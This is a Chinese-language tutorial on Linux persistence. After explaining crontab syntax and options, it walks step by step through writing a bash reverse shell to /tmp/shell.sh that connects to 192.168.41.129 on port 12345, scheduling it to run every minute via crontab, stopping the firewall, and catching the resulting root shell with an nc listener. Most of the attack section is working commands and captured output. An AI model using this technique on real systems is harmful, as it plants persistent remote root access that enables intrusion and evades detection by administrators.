

定时任务维持

定时任务介绍

Linux crontab 是用来定期执行程序的命令。

当安装完成操作系统之后，默认便会启动此任务调度命令。

crond 命令每分钟会定期检查是否有要执行的工作，如果有要执行的工作便会自动执行该工作。

注意：新创建的 cron 任务，不会马上执行，至少要过 2 分钟后才可以，当然你可以重启 cron 来马上执行。

命令介绍如下

用法：【crontab [options] file】| 【crontab [options]】| 【crontab -n [hostname]】

选项：

-u <user>	定义用户
-e	编辑用户的计划任务
-l	列出用户的计划任务
-r	删除用户的计划任务
-i	删除前提示
-n <host>	set host in cluster to run users' crontabs
-c	get host in cluster to run users' crontabs
-s	selinux context
-x <mask>	启用调试

时间格式如下：

```
f1 f2 f3 f4 f5 program
```

其中 f1 是表示分钟，f2 表示小时，f3 表示一个月份中的第几日，f4 表示月份，f5 表示一个星期中的第几天。
program 表示要执行的程序。

当 f1 为 * 时表示每分钟都要执行 program，f2 为 * 时表示每小时都要执行程序，其余类推

当 f1 为 a-b 时表示从第 a 分钟到第 b 分钟这段时间内要执行，f2 为 a-b 时表示从第 a 到第 b 小时都要执行，其余类推

当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次，f2 为 */n 表示每 n 小时个时间间隔执行一次，其余类推

当 f1 为 a, b, c, ... 时表示第 a, b, c, ... 分钟要执行，f2 为 a, b, c, ... 时表示第 a, b, c, ... 个小时要执行，其余类推

定时任务维持

1、创建shell脚本在 /tmp/shell.sh

```
bash -i >&/dev/tcp/192.168.41.129/12345 0>&1
```

```
[root@localhost tmp]# echo "bash -i >& /dev/tcp/192.168.41.129/12345 0>&1" >shell.sh
[root@localhost tmp]# ls
ks-script-qwJq58                                vmware-root
shell.sh                                         yum.log
systemd-private-b22b935800854c978503e7ef9117065e-chronyd.service-K4D7GF  yum_save_tx.2021-08-25.1
systemd-private-b22b935800854c978503e7ef9117065e-httpd.service-vtS7VY
[root@localhost tmp]# cat shell.sh
bash -i >& /dev/tcp/192.168.41.129/12345 0>&1
[root@localhost tmp]#
```

2、更改权限

```
chmod 755 /tmp/shell.sh
```

3、编辑计划任务 crontab -e 输入 */1 * * * * /tmp/shell.sh，如果是-e编辑的不需要添加用户名

```
systemctl status crond //查看计划任务状态
systemctl start crond.service//启动计划任务
```

```
[root@localhost tmp]# crontab -l
*/1 * * * * root /tmp/shell.sh
[root@localhost tmp]#
```

编辑成功

4、在192.168.41.129上用nc监听，如果不行记得关闭防火墙 systemctl stop firewalld.service

```
Shell No.1
文件(F) 动作(A) 编辑(E) 查看(V) 帮助(H)
bash-5.0$ nc -lvvp 12345
listening on [any] 12345 ...
```

开启监听

5、等待连接，连接成功

```
sent 5, rcvd 65
bash-5.0$ nc -lvvp 12345
listening on [any] 12345 ...
192.168.41.135: inverse host lookup failed: Unknown host
connect to [192.168.41.129] from (UNKNOWN) [192.168.41.135] 45774
bash: 此 shell 中无任务控制
[root@localhost ~]#
```